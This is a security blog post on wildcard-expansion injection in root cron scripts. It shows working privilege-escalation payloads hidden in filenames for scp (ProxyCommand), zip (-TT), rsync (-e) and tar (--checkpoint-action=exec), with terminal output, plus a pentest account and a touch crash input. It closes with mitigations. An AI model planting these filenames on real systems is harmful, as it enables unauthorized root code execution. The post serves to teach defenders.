One interesting observation we make when testing complex environments is that at the bottom of huge technology stacks, there is usually a handful of shell scripts doing interesting stuff. More often than not these helper scripts are started as part of cron jobs running as root and perform basic administrative tasks like compressing and copying log files or deleting leftover files in temporary directories. Of course, these high privileges make them an interesting target for privilege escalation attacks and one class of vulnerability we reliably encounter in shell scripts is unsafe handling of globbing or filename expansions.
Globbing itself is well known to everyone that ever used a *nix based shell. Wildcards in shell commands are expanded to matching filenames before a command is actually executed:
felix@nuc:/tmp/wild$ ls a b c d.zip felix@nuc:/tmp/wild$ echo * a b c d.zip felix@nuc:/tmp/wild$ echo *.zip d.zip felix@nuc:/tmp/wild$ echo [a-b] a b
While this feature is extremely useful for normal interactive shell usage and basic scripting, it quickly becomes dangerous when working with file names from untrusted sources:
felix@nuc:/tmp/wild$ touch -- "-l" felix@nuc:/tmp/wild$ ls a b c d.zip -l felix@nuc:/tmp/wild$ ls * -rw-rw-r-- 1 felix felix 0 Dec 22 17:30 a -rw-rw-r-- 1 felix felix 0 Dec 22 17:30 b -rw-rw-r-- 1 felix felix 0 Dec 22 17:30 c -rw-rw-r-- 1 felix felix 0 Dec 22 17:45 d.zip
What happened here? The * wildcard gets replaced by all matching filenames resulting in a shell command looking like this “ls a b c d.zip -l“. This command results in the execution of /bin/ls with the five listed arguments. The ls argument parser recognizes the -l flag and the output is modified accordingly.
You might argue that the ability to pass a flag to ls is not a security issue, but this is different for a number of popular command line utilities:
- scp: scp is sometimes used in cronjobs to securely copy log files or crashdumps to a remote location. When the copied filenames are user-controllable, the -o flag can be used to pass arbitrary SSH config options. The easiest way to trigger command execution is the ProxyCommand options as described here and shown below:
felix@nuc:/tmp/wild$ ls -l total 4 -rw-rw-r-- 1 felix felix 0 Dec 22 19:28 -oProxyCommand=perl x.pl -rwxrwxr-x 1 felix felix 39 Dec 22 19:27 x.pl felix@nuc:/tmp/wild$ cat x.pl #!/usr/bin/perl system('touch owned'); root@nuc:/tmp/wild# scp * root@logserv:/backup/ root@nuc:/tmp/wild# ls -l total 4 -rw-rw-r-- 1 felix felix 0 Dec 22 19:28 -oProxyCommand=perl x.pl -rw-r--r-- 1 root root 0 Dec 22 19:31 owned -rwxrwxr-x 1 felix felix 39 Dec 22 19:27 x.pl
- zip: While zip is not the most popular linux archive utility some sysadmins prefer it to cryptic tar invocations. A zip call like “zip backup.zip *” can be misused for command execution by using the –unzip-command (short -TT) flag:
root@nuc:/tmp/wild# ls -l total 4 -rw-r--r-- 1 root root 0 Dec 22 19:42 a -rw-r--r-- 1 root root 0 Dec 22 19:42 b -rw-r--r-- 1 root root 0 Dec 22 19:42 c -rw-rw-r-- 1 felix felix 0 Dec 22 19:51 -T -rw-rw-r-- 1 felix felix 0 Dec 22 19:51 -TT perl x.pl -rwxrwxr-x 1 felix felix 39 Dec 22 19:27 x.pl root@nuc:/tmp/wild# zip backup.zip * adding: a (stored 0%) adding: b (stored 0%) adding: c (stored 0%) adding: x.pl (stored 0%) test of backup.zip OK root@nuc:/tmp/wild# ls -l total 8 -rw-r--r-- 1 root root 0 Dec 22 19:42 a -rw-r--r-- 1 root root 0 Dec 22 19:42 b -rw-r--r-- 1 root root 587 Dec 22 19:53 backup.zip -rw-r--r-- 1 root root 0 Dec 22 19:42 c -rw-r--r-- 1 root root 0 Dec 22 19:53 owned -rw-rw-r-- 1 felix felix 0 Dec 22 19:51 -T -rw-rw-r-- 1 felix felix 0 Dec 22 19:51 -TT perl x.pl -rwxrwxr-x 1 felix felix 39 Dec 22 19:27 x.pl
- rsync: Similar to scp, rsync is often used as part of scripts to handle transfer of local files to remote systems. The -e flag can be used to specify a different rsh command to use and is easily exploited for more sinister purposes:
root@nuc:/tmp/wild# ls a b c -e perl x.zip x.zip root@nuc:/tmp/wild# rsync * root@log:/backup/ rsync: connection unexpectedly closed (0 bytes received so far) [sender] rsync error: error in rsync protocol data stream (code 12) at io.c(226) [sender=3.1.0] root@nuc:/tmp/wild# ls a b c -e perl x.zip owned x.zip
- tar: Reading the tar man page is something every linux user should attempt at least once in her lifetime. tar, or more precisely: GNU tar has an impressive list of command flags that strongly hint on its history as tape archiver and offer wide possibilities for an attacker who is able to introduce additional command flags:
--to-command=COMMAND pipe extracted files to another programlooks promising but is unfortunately only usable when tar is used to extract files. After some intense studying of the man page an interested reader might notice the
--checkpoint-action=ACTIONflag. ACTIONs will be executed whenever a certain amount of blocks (default 10) is written to an archive. They offer an easy way to add progress output and similar features to long running tar invocations. While the standard action is a simple call to echo, exec is also supported. In a recent pentest we were able to gain remote root privileges by uploading the following files to an FTP server:
-rw-r--r-- 1 foo foo 102400 Dec 18 14:35 aaa.hprof -rw-r--r-- 1 foo foo 0 Dec 18 14:23 --checkpoint-action=exec=perl x.pl;.hprof -rw-r--r-- 1 foo foo 31 Dec 18 14:23 x.pl
The directory was then parsed by a shellscript that executed “tar -czf XYZ.tar.gz *.hprof“ thereby triggering our expansion exploit and executing the x.pl as root.
If you are still reading this article, you might be interested in ways to securely implement shell scripts that make use of globbing. Two easy solutions include
- always appending “./” to a wildcard
- or to alternatively use “–” before any wildcards which essentially deactivates option flag parsing for many (but not all) popular linux tools. A complete discussion of this and other problems with linux filenames can be found here.
A final reminder why you should never allow attackers to pass option flags to even simple command line utilities is the oss-sec thread parse_datetime() bug in coreutils: Roman Fiedler discovered that the parse_datetime function reachable via a simple touch invocation can lead to memory corruption when parsing an invalid date string:
felix@nuc:/tmp/wild$ touch '--date=TZ="123"345" @1' abc Segmentation fault (core dumped)
This example shows that even basic tools like touch can open up a larger attack surface than expected when the more obscure code paths can be triggered by an attacker.
Happy Holidays and see you at Troopers 2015!
Note: After writing large parts of this article I stumbled over Back To The Future: Unix WildCards Gone Wild by Defensecode researcher Leon Juranic which documents most of the attack possibilities in this article and was previously unknown to me. Full credit should go to him 😉